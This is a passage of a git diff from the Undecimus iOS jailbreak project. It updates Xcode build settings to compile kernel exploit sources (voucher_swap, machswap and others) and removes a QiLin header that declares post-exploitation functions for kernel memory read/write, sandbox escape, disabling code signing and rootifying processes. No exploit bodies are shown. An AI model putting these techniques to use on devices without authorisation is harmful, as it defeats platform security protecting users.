21FFE0F5222E4C0600EC59B2 /* machswap_offsets.h */,
|
||||
21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */,
|
||||
21FFE0F4222E4C0600EC59B2 /* machswap_pwn.h */,
|
||||
21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */,
|
||||
21BB9803222F05C40012AF40 /* machswap2_pwn.h */,
|
||||
21BB9802222F05C40012AF40 /* machswap2_pwn.m */,
|
||||
);
|
||||
name = machswap;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
22F91CD821E02CC700B2FCAE /* injector */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
@@ -360,7 +575,7 @@
|
||||
21C0FC5F21369EB700849420 /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastUpgradeCheck = 0940;
|
||||
LastUpgradeCheck = 1010;
|
||||
ORGANIZATIONNAME = Pwn20wnd;
|
||||
TargetAttributes = {
|
||||
21C0FC6621369EB700849420 = {
|
||||
@@ -392,24 +607,12 @@
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
227629A521C64E640060080A /* substrate-dummy.deb in Resources */,
|
||||
21466CDE21AEEC9200B99B4C /* spawn.deb in Resources */,
|
||||
21466CDC21AEEA3A00B99B4C /* injector.deb in Resources */,
|
||||
22C546C721A8D8AC00EFC09C /* ca-certificates.deb in Resources */,
|
||||
22C546C821A8D8AC00EFC09C /* cydia-lproj.deb in Resources */,
|
||||
22C546C921A8D8AC00EFC09C /* cydia.deb in Resources */,
|
||||
22C546CA21A8D8AC00EFC09C /* openssh.deb in Resources */,
|
||||
22C546CB21A8D8AC00EFC09C /* openssl.deb in Resources */,
|
||||
22C546CC21A8D8AC00EFC09C /* resources.deb in Resources */,
|
||||
21C13110214C2E570021AA9D /* strap.tar.lzma in Resources */,
|
||||
51F1DB25229ED54400B81A6F /* Settings-Dark.png in Resources */,
|
||||
51435081229E2F0C00446FBA /* Settings-Light.png in Resources */,
|
||||
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */,
|
||||
51F1DB24229ED54400B81A6F /* DarkMode-Dark.png in Resources */,
|
||||
8D592A68218E47F60035D2BC /* Main.storyboard in Resources */,
|
||||
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */,
|
||||
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */,
|
||||
21C13116214C51100021AA9D /* lzma.tar in Resources */,
|
||||
2139534C21763A0C00B17F8D /* rsync.tar in Resources */,
|
||||
22C546BA21A8D59C00EFC09C /* amfid_payload.tar in Resources */,
|
||||
21C13105214C20950021AA9D /* tar.tar in Resources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
@@ -428,7 +631,7 @@
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "# Get path for dpkg\nset -e\nif [ -f ~/.profile ]; then\n . ~/.profile\nfi\nRESOURCES_VERSION=\"$(dpkg --info Undecimus/resources/resources.deb | grep Version: | awk '{print $2}')\"\nif [ -z \"${RESOURCES_VERSION}\" ]; then\n echo \"dpkg not found or resources.deb missing\"\n exit 1\nfi\ndefaults write \"${TARGET_BUILD_DIR}/${INFOPLIST_PATH}\" BundledResources \"${RESOURCES_VERSION}\"\n";
|
||||
shellScript = "\"${SOURCE_ROOT}/post.sh\"\n";
|
||||
};
|
||||
/* End PBXShellScriptBuildPhase section */
|
||||
|
||||
@@ -438,28 +641,53 @@
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */,
|
||||
21A97FD12148103C00DC0023 /* kexecute.m in Sources */,
|
||||
216F3F3E2228776E007DC1BC /* user_client.c in Sources */,
|
||||
2150A9E022021348001C8677 /* parameters.c in Sources */,
|
||||
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */,
|
||||
2150A9E122021348001C8677 /* kernel_alloc.c in Sources */,
|
||||
2150A9DD22021348001C8677 /* platform_match.c in Sources */,
|
||||
212D8844216E4C4800A36DA5 /* find_port.c in Sources */,
|
||||
213E78262208654700FDF3B7 /* necp.c in Sources */,
|
||||
22C546AB21A8A8FD00EFC09C /* utils.m in Sources */,
|
||||
2150A9DC22021348001C8677 /* log.c in Sources */,
|
||||
216F3F3D2228776E007DC1BC /* kernel_call.c in Sources */,
|
||||
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */,
|
||||
212D8841216B9FB400A36DA5 /* patchfinder64.c in Sources */,
|
||||
21A97FD42148103C00DC0023 /* remote_call.c in Sources */,
|
||||
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */,
|
||||
21C130FB214C1EBA0021AA9D /* untar.c in Sources */,
|
||||
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */,
|
||||
2116449A21737F9500250744 /* ViewController.m in Sources */,
|
||||
214A1777224EBE5400588EC4 /* kerneldec.cpp in Sources */,
|
||||
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */,
|
||||
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */,
|
||||
2150A9DE22021348001C8677 /* platform.c in Sources */,
|
||||
213E7828220865A100FDF3B7 /* voucher_swap-poc.c in Sources */,
|
||||
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */,
|
||||
2199B8E9226B40C600A8255D /* kalloc_crash.c in Sources */,
|
||||
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */,
|
||||
21C0FC8721369EE900849420 /* kmem.c in Sources */,
|
||||
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */,
|
||||
21CC3906227CDFDE0072D572 /* diagnostics.m in Sources */,
|
||||
21C0FC7A21369EB800849420 /* main.m in Sources */,
|
||||
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */,
|
||||
21CC3905227CDFDE0072D572 /* prefs.m in Sources */,
|
||||
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */,
|
||||
21A97FD32148103C00DC0023 /* kutils.c in Sources */,
|
||||
21C0FC8A21369EE900849420 /* offsets.m in Sources */,
|
||||
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */,
|
||||
21FF63CB224E5FDC008B76D9 /* offsetcache.c in Sources */,
|
||||
216F3F3F2228776E007DC1BC /* pac.c in Sources */,
|
||||
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */,
|
||||
219C90A0228703DA00AFA38A /* jailbreak.m in Sources */,
|
||||
21C0FC8A21369EE900849420 /* KernelOffsets.m in Sources */,
|
||||
21FFE0F9222E4C0600EC59B2 /* machswap_pwn.m in Sources */,
|
||||
21FFE0F8222E4C0600EC59B2 /* machswap_offsets.m in Sources */,
|
||||
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */,
|
||||
21BB9804222F05C40012AF40 /* machswap2_pwn.m in Sources */,
|
||||
214A1776224EBE5400588EC4 /* lzssdec.cpp in Sources */,
|
||||
2150A9E222021348001C8677 /* kernel_memory.c in Sources */,
|
||||
216F3F402228776E007DC1BC /* kc_parameters.c in Sources */,
|
||||
2150A9DF22021348001C8677 /* kernel_slide.c in Sources */,
|
||||
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */,
|
||||
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */,
|
||||
2150A9CD22021330001C8677 /* voucher_swap.c in Sources */,
|
||||
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */,
|
||||
225D142221E052960045493D /* ArchiveFile.m in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
@@ -591,9 +819,13 @@
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = YES;
|
||||
ARCHS = (
|
||||
arm64e,
|
||||
arm64,
|
||||
);
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/resources/multi_path.entitlements";
|
||||
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/multi_path.entitlements";
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
CODE_SIGN_STYLE = Manual;
|
||||
DEVELOPMENT_TEAM = "";
|
||||
@@ -606,8 +838,11 @@
|
||||
HEADER_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus/include",
|
||||
"$(PROJECT_DIR)/patchfinder64",
|
||||
"$(PROJECT_DIR)/snappy",
|
||||
"$(PROJECT_DIR)/Injector",
|
||||
"$(PROJECT_DIR)/offset-cache",
|
||||
"$(PROJECT_DIR)/kerneldec",
|
||||
);
|
||||
INFOPLIST_FILE = Undecimus/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
|
||||
@@ -617,16 +852,19 @@
|
||||
"$(PROJECT_DIR)/Undecimus",
|
||||
"$(PROJECT_DIR)/Undecimus/libs",
|
||||
);
|
||||
ONLY_ACTIVE_ARCH = NO;
|
||||
OTHER_CFLAGS = "";
|
||||
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
|
||||
OTHER_LDFLAGS = (
|
||||
"-framework",
|
||||
IOKit,
|
||||
"-w",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = science.xnu.undecimus;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
PROVISIONING_PROFILE_SPECIFIER = "";
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
VALID_ARCHS = "arm64 arm64e";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
@@ -634,9 +872,13 @@
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = YES;
|
||||
ARCHS = (
|
||||
arm64e,
|
||||
arm64,
|
||||
);
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/resources/multi_path.entitlements";
|
||||
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/multi_path.entitlements";
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
CODE_SIGN_STYLE = Manual;
|
||||
DEVELOPMENT_TEAM = "";
|
||||
@@ -649,8 +891,11 @@
|
||||
HEADER_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus/include",
|
||||
"$(PROJECT_DIR)/patchfinder64",
|
||||
"$(PROJECT_DIR)/snappy",
|
||||
"$(PROJECT_DIR)/Injector",
|
||||
"$(PROJECT_DIR)/offset-cache",
|
||||
"$(PROJECT_DIR)/kerneldec",
|
||||
);
|
||||
INFOPLIST_FILE = Undecimus/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
|
||||
@@ -665,11 +910,13 @@
|
||||
OTHER_LDFLAGS = (
|
||||
"-framework",
|
||||
IOKit,
|
||||
"-w",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = science.xnu.undecimus;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
PROVISIONING_PROFILE_SPECIFIER = "";
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
VALID_ARCHS = "arm64 arm64e";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
|
||||
|
After Width: | Height: | Size: 491 KiB |
|
Before Width: | Height: | Size: 3.6 MiB |
|
After Width: | Height: | Size: 1.7 MiB |
|
Before Width: | Height: | Size: 12 MiB |
|
After Width: | Height: | Size: 3.1 MiB |
|
Before Width: | Height: | Size: 21 MiB |
@@ -2,17 +2,17 @@
|
||||
"images" : [
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"filename" : "Clouds.png",
|
||||
"filename" : "Clouds.jpg",
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"filename" : "Clouds@2x.png",
|
||||
"filename" : "Clouds@2x.jpg",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"filename" : "Clouds@3x.png",
|
||||
"filename" : "Clouds@3x.jpg",
|
||||
"scale" : "3x"
|
||||
}
|
||||
],
|
||||
@@ -20,4 +20,4 @@
|
||||
"version" : 1,
|
||||
"author" : "xcode"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,7 +17,7 @@
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>2.1.1</string>
|
||||
<string>AUTOPOPULATED</string>
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
/*
|
||||
* IOKitLib.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__IOKITLIB_H_
|
||||
#define VOUCHER_SWAP__IOKITLIB_H_
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
typedef mach_port_t io_object_t;
|
||||
typedef io_object_t io_connect_t;
|
||||
typedef io_object_t io_iterator_t;
|
||||
typedef io_object_t io_service_t;
|
||||
|
||||
extern const mach_port_t kIOMasterPortDefault;
|
||||
|
||||
kern_return_t
|
||||
IOObjectRelease(
|
||||
io_object_t object );
|
||||
|
||||
io_object_t
|
||||
IOIteratorNext(
|
||||
io_iterator_t iterator );
|
||||
|
||||
io_service_t
|
||||
IOServiceGetMatchingService(
|
||||
mach_port_t masterPort,
|
||||
CFDictionaryRef matching CF_RELEASES_ARGUMENT);
|
||||
|
||||
kern_return_t
|
||||
IOServiceGetMatchingServices(
|
||||
mach_port_t masterPort,
|
||||
CFDictionaryRef matching CF_RELEASES_ARGUMENT,
|
||||
io_iterator_t * existing );
|
||||
|
||||
kern_return_t
|
||||
IOServiceOpen(
|
||||
io_service_t service,
|
||||
task_port_t owningTask,
|
||||
uint32_t type,
|
||||
io_connect_t * connect );
|
||||
|
||||
kern_return_t
|
||||
IOServiceClose(
|
||||
io_connect_t connect );
|
||||
|
||||
kern_return_t
|
||||
IOConnectCallMethod(
|
||||
mach_port_t connection, // In
|
||||
uint32_t selector, // In
|
||||
const uint64_t *input, // In
|
||||
uint32_t inputCnt, // In
|
||||
const void *inputStruct, // In
|
||||
size_t inputStructCnt, // In
|
||||
uint64_t *output, // Out
|
||||
uint32_t *outputCnt, // In/Out
|
||||
void *outputStruct, // Out
|
||||
size_t *outputStructCnt) // In/Out
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
kern_return_t
|
||||
IOConnectTrap6(io_connect_t connect,
|
||||
uint32_t index,
|
||||
uintptr_t p1,
|
||||
uintptr_t p2,
|
||||
uintptr_t p3,
|
||||
uintptr_t p4,
|
||||
uintptr_t p5,
|
||||
uintptr_t p6);
|
||||
|
||||
CFMutableDictionaryRef
|
||||
IOServiceMatching(
|
||||
const char * name ) CF_RETURNS_RETAINED;
|
||||
|
||||
#endif
|
||||
@@ -1,251 +0,0 @@
|
||||
//
|
||||
// jjt.h
|
||||
// QiLin
|
||||
//
|
||||
// Created by JL on 12/7/17.
|
||||
// Copyright © 2017 NewOSXBook. All rights reserved.
|
||||
|
||||
// Revision 3: Added spawnAndPlatformize(),
|
||||
// moved to posix_spawn() implementation for exec() family
|
||||
// actually exported the set*Reporter functions (formerly ErrorHandler.. etc -
|
||||
// "Reporter" is more accurate, because they allow you to propagate messages to
|
||||
// a GUI.
|
||||
//
|
||||
// Revision 4: Added kexec (executeInKernel)
|
||||
//
|
||||
// Revision 5: KMR/KMW (Kernel memory read/write) functions weren't exported! Oops!
|
||||
//
|
||||
// Revision 6: RootFS mount, fixed bug in getting symbols (no longer needs setKernelSymbol)
|
||||
// and added respring
|
||||
// and also added uint64_t getVnodeByPathName (char *Path) ;
|
||||
//
|
||||
// (Almost) free to use (ABSE) per the license in http://NewOSXBook.com/QiLin/
|
||||
//
|
||||
// Remember to give credit where due and please tweet with #QiLin
|
||||
// so others can quickly find your JailBreak or other project.
|
||||
//
|
||||
|
||||
#if 0
|
||||
Johnny's (semi) open source license, v0.4
|
||||
-----------------------------------------
|
||||
|
||||
This is (well, will be, at the time of writing) open source, and I can't but appeal to your sense of decency.
|
||||
You might try compile this and try to pass it as your own. Heck, you might even try to run it through llvm-obfuscator.
|
||||
But that would be stealing code. And obfuscate as you will, you can't obfuscate enough to hide the methods.
|
||||
So, primum non nocere. Do no harm, and do not steal.
|
||||
|
||||
To be fully clear:
|
||||
|
||||
- Yes, you may use this source or code library as you see fit, PROVIDED THAT:
|
||||
|
||||
- IT IS NOT USED COMMERCIALLY IN ANY WAY. For this, I ask that you contact my company, @Technologeeks,
|
||||
and ask for proper licensing - they'll also provide official support.
|
||||
|
||||
- IT IS NOT USED AS A COMPONENT OF AN APT IN ANY KIND FORM OR MANNER.
|
||||
(NSO/Hackin9/Finfisher/Equus/etc - that means you)
|
||||
|
||||
- WHEN YOU DO USE IT, I ASK THAT YOU MENTION THAT YOUR TOOL IS "powered by the QiLin Toolkit",
|
||||
or otherwise provide a user facing indication that it is using this code.
|
||||
I'd appreciate it if you tweeted with #QiLin, too.
|
||||
|
||||
- If you spread lies about other people, propaganda or false claims, while using this toolkit,
|
||||
then you must renounce your ways, and apologize. Then you can use it freely.
|
||||
|
||||
- There are no limitation on nationality, specific people exclusions (i.e. this is AISE, subject to last condition, above ;-),
|
||||
or any other race, color or creed - provided the above are met.
|
||||
|
||||
|
||||
- QiLin comes with NO LIABILITY WHATSOEVER. YOU USE THIS AT YOUR OWN RISK.
|
||||
|
||||
I CANNOT AND WILL NOT BE HELD ACCOUNTABLE FOR ANY DAMAGE, SOFTWARE OR HARDWARE OR YOUR DATA OR OTHERWISE,
|
||||
|
||||
WHICH MAY OR MAY NOT RESULT TO YOUR IOS DEVICE BY USING THIS.
|
||||
|
||||
- Remember I'm doing this AS A FAVOR. I AM NO IN WAY INDEBTED OR COMMITTED TO SUPPORT THIS, OR ANY OTHER OF MY TOOLS.
|
||||
You don't have to thank for this (you're welcome) but please don't slander me either.
|
||||
|
||||
- Should you wish to contribute/donate, you may do so in one of the following ways:
|
||||
|
||||
- Monetary: Pick a charity. Any charity. Of your choice. Pay them however money you want.
|
||||
Optionally, tweet/fb/insta/snap-whatever a screen capture stating "#QiLin".
|
||||
|
||||
- Development: Through http://NewOSXBook.com/forum - you are welcome to ask (proper technical, not lame wen eta)
|
||||
questions and engage in discussions
|
||||
|
||||
|
||||
|
||||
First, do no harm. Next, have fun :-)
|
||||
|
||||
Changelog:
|
||||
|
||||
- v0.1 Was AISE but SE is being more of an ass than usual and slandering fake claims directly attacking me.
|
||||
So this was updated with new condition excluding him until he grows up and behaves like the decent,
|
||||
talented researcher he can be.
|
||||
|
||||
- v0.3 adds request to tweet #QiLin.
|
||||
|
||||
- v0.4 states what should be obvious - NO LIABILITY WHATSOEVER
|
||||
#endif
|
||||
#ifndef qilin_h
|
||||
#define qilin_h
|
||||
#include <mach/mach.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
|
||||
char *getMachine (void);
|
||||
char *getOSVer(void);
|
||||
|
||||
typedef int (*KMRFunc)(uint64_t Address, uint64_t Len, void **To);
|
||||
typedef int (*KMWFunc)(uint64_t Address, uint64_t Len, void *From);
|
||||
void setKernelMemoryReadFunction(KMRFunc F);
|
||||
void setKernelMemoryWriteFunction(KMWFunc F);
|
||||
|
||||
|
||||
// MUST call either initQiLin variant first - with or without TFP0, though, that's your call.
|
||||
|
||||
int initQiLin (mach_port_t TFP0, uint64_t KernelBase);
|
||||
int initQiLinWithKMRW(uint64_t KernelBase, KMRFunc Kmr, KMWFunc Kmw);
|
||||
int initQilinWithTFP0AndMyTaskPortAddr(mach_port_t TFP0, uint64_t MyTaskPortAddr);
|
||||
|
||||
|
||||
// System wide effects
|
||||
//
|
||||
int remountRootFS (void);
|
||||
int reSpring (void); // @FCE365 - this is for you
|
||||
|
||||
pid_t execCommand(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5 , int Flags);
|
||||
int execCommandAndWait(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5);
|
||||
|
||||
int setTFP0AsHostSpecialPort4 (void);
|
||||
|
||||
// 1/17/18 - This is super useful
|
||||
int spawnAndPlatformize (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5);
|
||||
int spawnAndShaiHulud (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5);
|
||||
|
||||
|
||||
int moveFileFromAppDir (char *File, char *Dest);
|
||||
int disableAutoUpdates(void);
|
||||
|
||||
// Code signing
|
||||
|
||||
// Will set AMFId's exception ports and thereby disable code signing
|
||||
//
|
||||
int castrateAmfid (void);
|
||||
|
||||
// Utility function - you probably won't need this directly.
|
||||
#define ALGORITHM_SHA256 2
|
||||
#define ALGORITHM_SHA1 1
|
||||
char *cdHashOfFile(char *fileName,int Algorithm); // Calculate CDHash of a given Mach-O (for messing with AMFI)
|
||||
|
||||
|
||||
|
||||
// Kernel Memory access (wrappers over kernel_task send right)
|
||||
uint64_t findKernelSymbol (char *Symbol);
|
||||
void setKernelSymbol (char *Symbol, uint64_t Address); // NOTE: "_kernproc", not "kernproc"
|
||||
|
||||
int readKernelMemory(uint64_t Address, uint64_t Len, void **To);
|
||||
int writeKernelMemory(uint64_t Address, uint64_t Len, void *From);
|
||||
|
||||
// 03/20/2018: Kernel execution
|
||||
|
||||
int kexec(uint64_t Address, uint64_t Arg0, uint64_t Arg1,uint64_t Arg2,uint64_t Arg3,uint64_t Arg4,uint64_t Arg5,uint64_t Arg6);
|
||||
|
||||
|
||||
// 03/20/2018
|
||||
uint64_t getAddressOfPort(pid_t Pid, mach_port_name_t Port);
|
||||
|
||||
// 06/15/2018 -------
|
||||
// Will return the address of the kernel vnode representing Path.
|
||||
uint64_t getVnodeByPathName (char *Path) ;
|
||||
uint64_t getRootVnodeAddr(void); // Convenience, for rootvnode ("/") instead of _rootvnode sym deref
|
||||
|
||||
//-------------------
|
||||
|
||||
// Not recommended, but doable: Bestow task port of Pid in TargetPid
|
||||
mach_port_t task_for_pid_in_kernel (pid_t Pid, pid_t TargetPid);
|
||||
|
||||
//--------------------------------------
|
||||
|
||||
// Process manipulation functions
|
||||
|
||||
// Finds the address of struct proc for this pid_t in kernel memory.
|
||||
uint64_t getProcStructForPid(pid_t);
|
||||
|
||||
// Finds the pid of a process given its (base) name. Note this will only
|
||||
// work on processes you are the owner of (or all, if root) - this is intentional
|
||||
pid_t findPidOfProcess (char *ProcName) ;
|
||||
|
||||
int setCSFlagsForProcAtAddr(uint64_t ProcStructAddr, int Flags, int Set);
|
||||
int setCSFlagsForPid (pid_t Whom, uint32_t Flags);
|
||||
int platformizeProcAtAddr(uint64_t thing);
|
||||
int platformizePid(pid_t Whom);
|
||||
int setuidProcessAtAddr (uid_t Uid, uint64_t ProcStructAddr);
|
||||
int rootifyPid(pid_t Whom);
|
||||
uint64_t ShaiHuludProcessAtAddr(uint64_t ProcStructAddr, uint64_t CredAddr);
|
||||
uint64_t ShaiHulud2ProcessAtAddr(uint64_t ProcStructAddr);
|
||||
int ShaiHuludPid (pid_t Whom, uint64_t CredAddr); // leave 0 for root creds.
|
||||
int unShaiHuludPid (pid_t Whom);
|
||||
|
||||
|
||||
|
||||
uint64_t borrowEntitlementsFromDonor(char *UnwittingDonor, char *Arg);
|
||||
// By request :-)
|
||||
uint64_t borrowEntitlementsFromPid(pid_t Pid);
|
||||
|
||||
|
||||
|
||||
// Presently, limited to two entitlements, and assumed boolean (true)
|
||||
int entitlePidWithKernelEnts (pid_t Whom, char *Ent1, char *Ent2);
|
||||
|
||||
// Convenience functions - do all the above , but on my process
|
||||
|
||||
int platformizeMe (void);
|
||||
int rootifyMe(void);
|
||||
|
||||
// Escape sandbox:
|
||||
// call with 0 to assume kernel cred, else specify value. Will return origCreds
|
||||
uint64_t ShaiHuludMe(uint64_t OtherCredsOr0ForKernelCreds);
|
||||
void unShaiHuludMe(uint64_t OrigCreds);
|
||||
int entitleMe(char *entitlementString);
|
||||
|
||||
uint64_t getKernelCredAddr (void);
|
||||
|
||||
|
||||
/// Vnode functions - bringing @MinZheng's APFS bypass to the masses:
|
||||
uint64_t getVnodeByPathName (char *Path);
|
||||
|
||||
/// Launchd handling utilities - just for you @launchderp :-)
|
||||
int makeLaunchdPlist (char *PlistName, char *Program, char *ProgramArguments, char *StandardOutputPath, char *StandardErrorPath, int RunAtLoad);
|
||||
int launjctlLaunchdPlist(char *Name);
|
||||
|
||||
// I use these internally, not sure anyone else would need them
|
||||
int launjctlPrintSystem (void);
|
||||
int launjctlDumpState(void);
|
||||
|
||||
|
||||
// This one is still in progress. Don't use it please.
|
||||
int movePortToPid(mach_port_t PortMoved, pid_t Pid, mach_port_name_t Name);
|
||||
int spawnJailbreakServer (char *Name, mach_port_t TFP0, mach_port_name_t NameInTarget);
|
||||
|
||||
// UI Support:
|
||||
// Provide status, error and debug print outs to user,
|
||||
// which may be redirected to GUI views, etc.
|
||||
// Default implmenentations are NSLog.
|
||||
|
||||
typedef void (status_func) (char *,...);
|
||||
void setStatusReporter (status_func *Func);
|
||||
void setErrorReporter (status_func *Func);
|
||||
void setDebugReporter (status_func *Func);
|
||||
|
||||
|
||||
// Utility functions you probably won't need unless you want to do your own debugging
|
||||
void hexDump(void *Mem, int Len, uint64_t Addr);
|
||||
void dumpARMThreadState64(_STRUCT_ARM_THREAD_STATE64 *old_state);
|
||||
|
||||
// Even more Internal/advanced use:
|
||||
uint64_t findKernelTask (void);
|
||||
uint64_t findMyProcStructInKernelMemory(void); // For other advanced uses I haven't provided already
|
||||
|
||||
|
||||
#endif /* qilin_h */
|
||||
@@ -0,0 +1,33 @@
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@class UIProgressIndicator, UILabel, UIImageView, UIWindow;
|
||||
|
||||
@interface UIProgressHUD : UIView {
|
||||
|
||||
UIProgressIndicator* _progressIndicator;
|
||||
UILabel* _progressMessage;
|
||||
UIImageView* _doneView;
|
||||
UIWindow* _parentWindow;
|
||||
struct {
|
||||
unsigned isShowing : 1;
|
||||
unsigned isShowingText : 1;
|
||||
unsigned fixedFrame : 1;
|
||||
unsigned reserved : 30;
|
||||
} _progressHUDFlags;
|
||||
|
||||
}
|
||||
-(id)initWithFrame:(CGRect)arg1 ;
|
||||
-(void)layoutSubviews;
|
||||
-(void)hide;
|
||||
-(void)show:(bool)arg1 ;
|
||||
-(void)drawRect:(CGRect)arg1 ;
|
||||
-(void)dealloc;
|
||||
-(void)setText:(id)arg1 ;
|
||||
-(id)initWithWindow:(id)arg1 ;
|
||||
-(void)done;
|
||||
-(void)setFontSize:(int)arg1 ;
|
||||
-(id)_progressIndicator;
|
||||
-(void)setShowsText:(bool)arg1 ;
|
||||
-(void)showInView:(id)arg1 ;
|
||||
@end
|
||||
|
||||
@@ -0,0 +1,741 @@
|
||||
/*-
|
||||
* Copyright (c) 2003-2007 Tim Kientzle
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: src/lib/libarchive/archive.h.in,v 1.50 2008/05/26 17:00:22 kientzle Exp $
|
||||
*/
|
||||
|
||||
#ifndef ARCHIVE_H_INCLUDED
|
||||
#define ARCHIVE_H_INCLUDED
|
||||
|
||||
/*
|
||||
* Note: archive.h is for use outside of libarchive; the configuration
|
||||
* headers (config.h, archive_platform.h, etc.) are purely internal.
|
||||
* Do NOT use HAVE_XXX configuration macros to control the behavior of
|
||||
* this header! If you must conditionalize, use predefined compiler and/or
|
||||
* platform macros.
|
||||
*/
|
||||
#if defined(__BORLANDC__) && __BORLANDC__ >= 0x560
|
||||
# define __LA_STDINT_H <stdint.h>
